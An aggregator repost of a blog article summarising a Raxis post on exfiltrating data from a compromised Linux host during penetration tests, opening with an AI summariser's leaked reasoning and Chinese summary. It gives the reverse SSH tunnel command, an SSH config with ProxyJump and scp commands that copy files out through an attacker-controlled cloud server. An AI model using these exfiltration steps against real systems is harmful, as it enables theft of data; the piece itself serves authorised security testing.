SCP for Data Exfiltration on Pentests
嗯,用户让我总结一篇文章,控制在一百个字以内,而且不需要用“文章内容总结”之类的开头。我得先仔细读一下这篇文章。 看起来这篇文章主要讲的是Nathan Anderson在Raxis博客上的一篇文章,讨论使用SCP作为数据外泄的工具。SCP基于SSH,加密传输,适合在Linux环境中使用。作者还详细介绍了如何设置SSH隧道和配置文件,使得数据传输更高效可靠。 用户的需求是总结内容,所以我要抓住关键点:SCP的作用、优势、应用场景以及设置步骤。同时要控制在100字以内,语言要简洁明了。 可能需要注意不要遗漏关键的技术点,比如SSH隧道、配置文件的使用,这些对理解文章很重要。同时要确保总结流畅自然,不使用复杂的术语。 最后检查一下字数和格式是否符合要求,确保没有多余的部分。 </think> 文章介绍了如何利用SCP工具通过SSH隧道实现安全可靠的数据外泄。作者详细讲解了如何生成SSH密钥、建立远程端口转发隧道,并通过配置文件简化数据传输命令。该方法适用于Linux环境下的渗透测试场景,帮助红队快速高效地提取目标数据。 2026-4-23 06:2:8 Author: infosecwriteups.com(查看原文) 阅读量:16 收藏

Mark Puckett

Press enter or click to view image in full size

When you are on an internal and you’ve got a great foothold the last place you want drama is at the very end: getting the data out. That is exactly where Nathan Anderson’s latest post on the Raxis blog leans in, using SCP as a quiet, dependable workhorse for data exfiltration during internal and red team engagements.

Why SCP Deserves a Spot in Your Toolkit

Nathan’s post is part of Raxis’ Cool Tools series and focuses on using SCP as an exfil path that blends into common administrative traffic on Linux-heavy environments. SCP gives you encrypted file transfer, piggybacking on SSH, which is already one of the few ports that reliably egresses from corporate networks.

He frames the walkthrough around a realistic scenario:

Admin-System: A Linux host you have compromised.

• A cloud Linux box acting as the public endpoint.

Omni: A Linux box you are receiving data on.

It is a simple model, but it mirrors what we often do on tests: one internal foothold, one internet-facing VPS, and one trusted receiving host under our control.

Building the Path: Keys and Tunnels

The first half of the Raxis post is all about laying the plumbing before you push a single file. Nathan starts with SSH key pairs, generated on both the hacked box and the receiving host. Nothing fancy:

ssh-keygen

Follow the prompts, accept the defaults, and you now have an id_ed25519.pub that you can append into the cloud server’s ~/.ssh/authorized_keys file.

Next, he dials in the SSH tunnel from the receiving host back through the cloud server:

ssh -N -R 56600:127.0.0.1:22 user@cloud-server -i /path/to/private_key

Breaking that down:

-N: no shell, just a tunnel.

-R 56600:127.0.0.1:22: remote port forward from the cloud server’s port 56600 back to Omni ’s SSH on port 22.

-i: points to the private key you generated earlier.

The important behavioral note: this tunnel has to stay alive for everything else to work, whether you run it in a tmux session, as a systemd service, or with autossh.

Get Mark Puckett’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

Making SSH Human-Friendly with Config

Rather than continuing to type out long SSH and SCP commands repeatedly, Nathan uses the SSH config file on the compromised host to define named functions for the cloud server and the receiving host. That is where this approach really becomes usable mid-engagement.

The structure looks like this at ~/.ssh/config on admin-system:

Host Tunnel: a named profile for the cloud server.

Hostname: FQDN or IP of the cloud server.

User: SSH username on the cloud box.

IdentityFile: the key you generated on the hacked host.

Then he defines Host Transfer:

ProxyJump Tunnel: the key line that tells SSH, “go through Tunnel first and treat it as a proxy.”

Hostname 127.0.0.1: from the cloud host’s perspective, Omni is reached via loopback because of the tunnel.

User: username on Omni .

Port 56600: the port you mapped in the remote tunnel earlier.

Doing the Fun Part: Exfil with SCP

With the keys in place and the tunnel plus config wired up, Nathan walks through single-file and directory transfers using the named host from the SSH config.

For a single file:

scp Raxis-Secret-Codes.txt Transfer:POC/

For A directory:

scp -r POC/ Transfer:POC/

Here, -r enables recursive copy so you grab the entire directory, contents, and structure in one shot. In Nathan’s example, 50 files move cleanly and quickly, which is exactly the kind of behavior you want when you are racing the clock at the end of an engagement.

Why This Matters for Pentesters

If you are a pentester looking to tighten up your tradecraft around data movement, Nathan’s write-up on the Raxis blog is worth a read. It walks step-by-step through the exact commands, screenshots, and explanations behind this workflow, and is part of a broader Cool Tools series that covers other exfil options like Croc as well.


文章来源: https://infosecwriteups.com/scp-for-data-exfiltration-on-pentests-a845e79d9034?source=rss----7b722bfd1b8d---4
如有侵权请联系:admin#unsafe.sh